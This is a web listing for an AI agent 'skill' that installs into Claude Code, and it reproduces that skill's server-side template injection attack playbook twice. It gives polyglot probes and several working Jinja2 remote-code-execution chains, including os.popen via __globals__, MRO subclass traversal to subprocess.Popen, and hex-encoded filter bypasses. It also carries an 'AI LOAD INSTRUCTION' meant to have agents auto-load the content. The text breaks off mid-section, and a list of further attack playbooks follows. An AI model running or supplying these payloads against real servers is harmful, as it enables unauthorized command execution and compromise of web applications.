/ssti-server-side-template-injection
SSTI playbook. Use when template expressions, server-side rendering, preview features, or templating engines may evaluate attacker-controlled content.
$ npx -y skills add yaklang/hack-skills --skill ssti-server-side-template-injection --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/ssti-server-side-template-injection
Context preview
The summary Claude sees to decide when to auto-load this skill.
SSTI playbook. Use when template expressions, server-side rendering, preview features, or templating engines may evaluate attacker-controlled content.
SKILL.md
ssti-server-side-template-injection.SKILL.mdname: ssti-server-side-template-injection
description: >-
SSTI playbook. Use when template expressions, server-side rendering, preview features, or templating engines may evaluate attacker-controlled content.
SKILL: Server-Side Template Injection (SSTI) — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert SSTI techniques. Covers polyglot detection probes, engine fingerprinting, Jinja2/FreeMarker/Twig/ERB RCE chains, client-side Angular SSTI, and bypass techniques. Base models often miss sandbox escape MRO chains and non-Jinja2 engines. For PHP CMS template eval, Jira SSTI, Confluence OGNL, and Spring Cloud Gateway SpEL, load the companion [SCENARIOS.md](./SCENARIOS.md).
0. RELATED ROUTING
Before using full engine-specific exploitation, you can first load:
- First use the polyglot probe sequence at the top of this file for low-noise fingerprinting
- [expression-language-injection](../expression-language-injection/SKILL.md) when `${7*7}` or `%{7*7}` resolves in Java (SpEL/OGNL) — different attack surface from template engines
Extended Scenarios
Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
- Maccms 8.x PHP template `eval` — `{if-A:phpinfo()}{endif-A}` in `vod-search`, base64 bypass for webshell write
- Jira CVE-2019-11581 — "Contact Administrators" form → Velocity template injection → command output in admin email
- Spring Cloud Gateway SpEL (CVE-2022-22947) — actuator route injection with `StreamUtils.copyToByteArray` for output capture
- Struts2 OGNL S2-045 (CVE-2017-5638) — Content-Type header OGNL injection with `_memberAccess` / `OgnlUtil` blacklist clear
- Confluence OGNL CVE-2021-26084 — `createpage-entervariables.action` with `\u0027` unicode bypass
- SSTI vs EL injection disambiguation guide
- Additional template engines: ASP.NET Razor, Elixir EEx, PHP Smarty/Latte/Blade, JS Pug/Handlebars/Nunjucks/EJS/Lodash + universal detection + blind SSTI + Flask PIN calculation
**SCENARIOS.md reference (§7–§11):** For expanded payloads and engine-specific notes on Razor, EEx/LEEx/HEEx, PHP stacks, JavaScript template engines, the universal polyglot probe, mathematical fingerprinting, blind SSTI (boolean / time / OOB), and Flask debug PIN prerequisites, see [SCENARIOS.md](./SCENARIOS.md). This skill keeps a short checklist in §13–§15.
Engine Payloads Reference
For extended engine-specific fingerprinting, payload matrices (Jinja2, Twig, Freemarker, Velocity, Pebble, Mako, Slim, Handlebars, Thymeleaf, Smarty, ERB, Jade/Pug), and blind SSTI detection techniques (timing-based, DNS-based), see [ENGINE_PAYLOADS.md](./ENGINE_PAYLOADS.md).
Universal detection & blind SSTI (pointer)
Use the polyglot payload and math probes in §1 and §13 first; when you need fuller blind-test patterns and per-engine examples (including non-Python stacks), follow [SCENARIOS.md](./SCENARIOS.md) §11 and cross-check §14 here for technique names (boolean, time, OOB, error-based).
---
1. DETECTION — POLYGLOT PROBE SEQUENCE
First test: distinguish SSTI from XSS. Send these probes and check if **math is evaluated** server-side:
{{7*7}} → IF returns 49 (not {{7*7}}) → Jinja2 or Twig
${7*7} → IF returns 49 → FreeMarker, Velocity, or Java EL
#{7*7} → Ruby (ERB interpolation in strings)
<#assign x=7*7>${x} → FreeMarker
@{7*7} → Thymeleaf
*{7*7} → Thymeleaf SpEL (*{...})**Jinja2 vs Twig disambiguation**:
{{7*'7'}}
→ 7777777 = Jinja2 (Python string multiplication)
→ 49 = Twig (PHP numeric)**Safe detection probe** (no math, just boolean):
{{''.__class__}} → class 'str' = Python/Jinja2---
2. ENGINE-TO-LANGUAGE MAPPING
| Template Engine | Language | Framework | |---|---|---| | Jinja2 | Python | Flask, FastAPI | | Django Templates | Python | Django | | Mako | Python | Pyramid | | Twig | PHP | Symfony, Laravel | | Smarty | PHP | Various | | FreeMarker | Java | Spring MVC | | Velocity | Java | Various Java | | Pebble | Java | Various Java | | Thymeleaf | Java | Spring Boot | | ERB | Ruby | Rails | | Slim / Haml | Ruby | Rails | | Jade / Pug | Node.js | Express | | Handlebars | Node.js | Express | | Tornado | Python | Tornado |
Identifying language from errors → then narrow to template engine.
---
3. JINJA2 (PYTHON FLASK) — RCE CHAINS
Chain 1: `os` module via `__globals__`
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}Chain 2: MRO subclass traversal (sandbox escape)
# List all subclasses:
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen index (usually around 258-270, varies by Python version):
# Look for "subprocess.Popen" in the list
# Execute command (replace [258] with correct index):
{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}Chain 3: `request` object globals (works when `config` blocked)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}(Uses hex encoding to avoid `_` filtering)
Chain 4: `lipsum` function globals (Flask built-in)
{{lipsum.__globals__.os.popen('id').read()}}Chain 5: `cycler` object
{{cycler.__init__.__globals__.os.popen('id').read()}}Finding correct subprocess index dynamically:
# In injection:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{loop.index}}
{% endif %}
{% endfor %}---
4. JINJA2 SANDBOX BYPASS TECHNIQUES
When `_` (underscore) is blocked:
# Use attr filter with hex encoding:
''|attr('\x5f\x5fclass\x5f\x5f')
# Use getattr via request object:
request|attr('args')|attr('__class__')When `.` (dot) is blocked:
# Use [] subscript notation:
''['__class__']
config['SECRET_KEY']
When keywords
Read more
name: ssti-server-side-template-injection description: >- SSTI playbook. Use when template expressions, server-side rendering, preview features, or templating engines may evaluate attacker-controlled content.
SKILL: Server-Side Template Injection (SSTI) — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert SSTI techniques. Covers polyglot detection probes, engine fingerprinting, Jinja2/FreeMarker/Twig/ERB RCE chains, client-side Angular SSTI, and bypass techniques. Base models often miss sandbox escape MRO chains and non-Jinja2 engines. For PHP CMS template eval, Jira SSTI, Confluence OGNL, and Spring Cloud Gateway SpEL, load the companion [SCENARIOS.md](./SCENARIOS.md).
0. RELATED ROUTING
Before using full engine-specific exploitation, you can first load:
- First use the polyglot probe sequence at the top of this file for low-noise fingerprinting
- [expression-language-injection](../expression-language-injection/SKILL.md) when `${7*7}` or `%{7*7}` resolves in Java (SpEL/OGNL) — different attack surface from template engines
Extended Scenarios
Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
- Maccms 8.x PHP template `eval` — `{if-A:phpinfo()}{endif-A}` in `vod-search`, base64 bypass for webshell write
- Jira CVE-2019-11581 — "Contact Administrators" form → Velocity template injection → command output in admin email
- Spring Cloud Gateway SpEL (CVE-2022-22947) — actuator route injection with `StreamUtils.copyToByteArray` for output capture
- Struts2 OGNL S2-045 (CVE-2017-5638) — Content-Type header OGNL injection with `_memberAccess` / `OgnlUtil` blacklist clear
- Confluence OGNL CVE-2021-26084 — `createpage-entervariables.action` with `\u0027` unicode bypass
- SSTI vs EL injection disambiguation guide
- Additional template engines: ASP.NET Razor, Elixir EEx, PHP Smarty/Latte/Blade, JS Pug/Handlebars/Nunjucks/EJS/Lodash + universal detection + blind SSTI + Flask PIN calculation
**SCENARIOS.md reference (§7–§11):** For expanded payloads and engine-specific notes on Razor, EEx/LEEx/HEEx, PHP stacks, JavaScript template engines, the universal polyglot probe, mathematical fingerprinting, blind SSTI (boolean / time / OOB), and Flask debug PIN prerequisites, see [SCENARIOS.md](./SCENARIOS.md). This skill keeps a short checklist in §13–§15.
Engine Payloads Reference
For extended engine-specific fingerprinting, payload matrices (Jinja2, Twig, Freemarker, Velocity, Pebble, Mako, Slim, Handlebars, Thymeleaf, Smarty, ERB, Jade/Pug), and blind SSTI detection techniques (timing-based, DNS-based), see [ENGINE_PAYLOADS.md](./ENGINE_PAYLOADS.md).
Universal detection & blind SSTI (pointer)
Use the polyglot payload and math probes in §1 and §13 first; when you need fuller blind-test patterns and per-engine examples (including non-Python stacks), follow [SCENARIOS.md](./SCENARIOS.md) §11 and cross-check §14 here for technique names (boolean, time, OOB, error-based).
---
1. DETECTION — POLYGLOT PROBE SEQUENCE
First test: distinguish SSTI from XSS. Send these probes and check if **math is evaluated** server-side:
{{7*7}} → IF returns 49 (not {{7*7}}) → Jinja2 or Twig
${7*7} → IF returns 49 → FreeMarker, Velocity, or Java EL
#{7*7} → Ruby (ERB interpolation in strings)
<#assign x=7*7>${x} → FreeMarker
@{7*7} → Thymeleaf
*{7*7} → Thymeleaf SpEL (*{...})**Jinja2 vs Twig disambiguation**:
{{7*'7'}}
→ 7777777 = Jinja2 (Python string multiplication)
→ 49 = Twig (PHP numeric)**Safe detection probe** (no math, just boolean):
{{''.__class__}} → class 'str' = Python/Jinja2---
2. ENGINE-TO-LANGUAGE MAPPING
| Template Engine | Language | Framework | |---|---|---| | Jinja2 | Python | Flask, FastAPI | | Django Templates | Python | Django | | Mako | Python | Pyramid | | Twig | PHP | Symfony, Laravel | | Smarty | PHP | Various | | FreeMarker | Java | Spring MVC | | Velocity | Java | Various Java | | Pebble | Java | Various Java | | Thymeleaf | Java | Spring Boot | | ERB | Ruby | Rails | | Slim / Haml | Ruby | Rails | | Jade / Pug | Node.js | Express | | Handlebars | Node.js | Express | | Tornado | Python | Tornado |
Identifying language from errors → then narrow to template engine.
---
3. JINJA2 (PYTHON FLASK) — RCE CHAINS
Chain 1: `os` module via `__globals__`
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}Chain 2: MRO subclass traversal (sandbox escape)
# List all subclasses:
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen index (usually around 258-270, varies by Python version):
# Look for "subprocess.Popen" in the list
# Execute command (replace [258] with correct index):
{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}Chain 3: `request` object globals (works when `config` blocked)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}(Uses hex encoding to avoid `_` filtering)
Chain 4: `lipsum` function globals (Flask built-in)
{{lipsum.__globals__.os.popen('id').read()}}Chain 5: `cycler` object
{{cycler.__init__.__globals__.os.popen('id').read()}}Finding correct subprocess index dynamically:
# In injection:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{loop.index}}
{% endif %}
{% endfor %}---
4. JINJA2 SANDBOX BYPASS TECHNIQUES
When `_` (underscore) is blocked:
# Use attr filter with hex encoding:
''|attr('\x5f\x5fclass\x5f\x5f')
# Use getattr via request object:
request|attr('args')|attr('__class__')When `.` (dot) is blocked:
# Use [] subscript notation: ''['__class__'] config['SECRET_KEY']
When keywords
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 101 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
Other skills on hack-skills.
- /401-403-bypass-techniques
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
Open skill - /active-directory-acl-abuse
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
Open skill - /active-directory-certificate-services
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
Open skill - /active-directory-kerberos-attacks
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.
Open skill - /ai-ml-security
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.
Open skill - /android-pentesting-tricks
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
Open skill

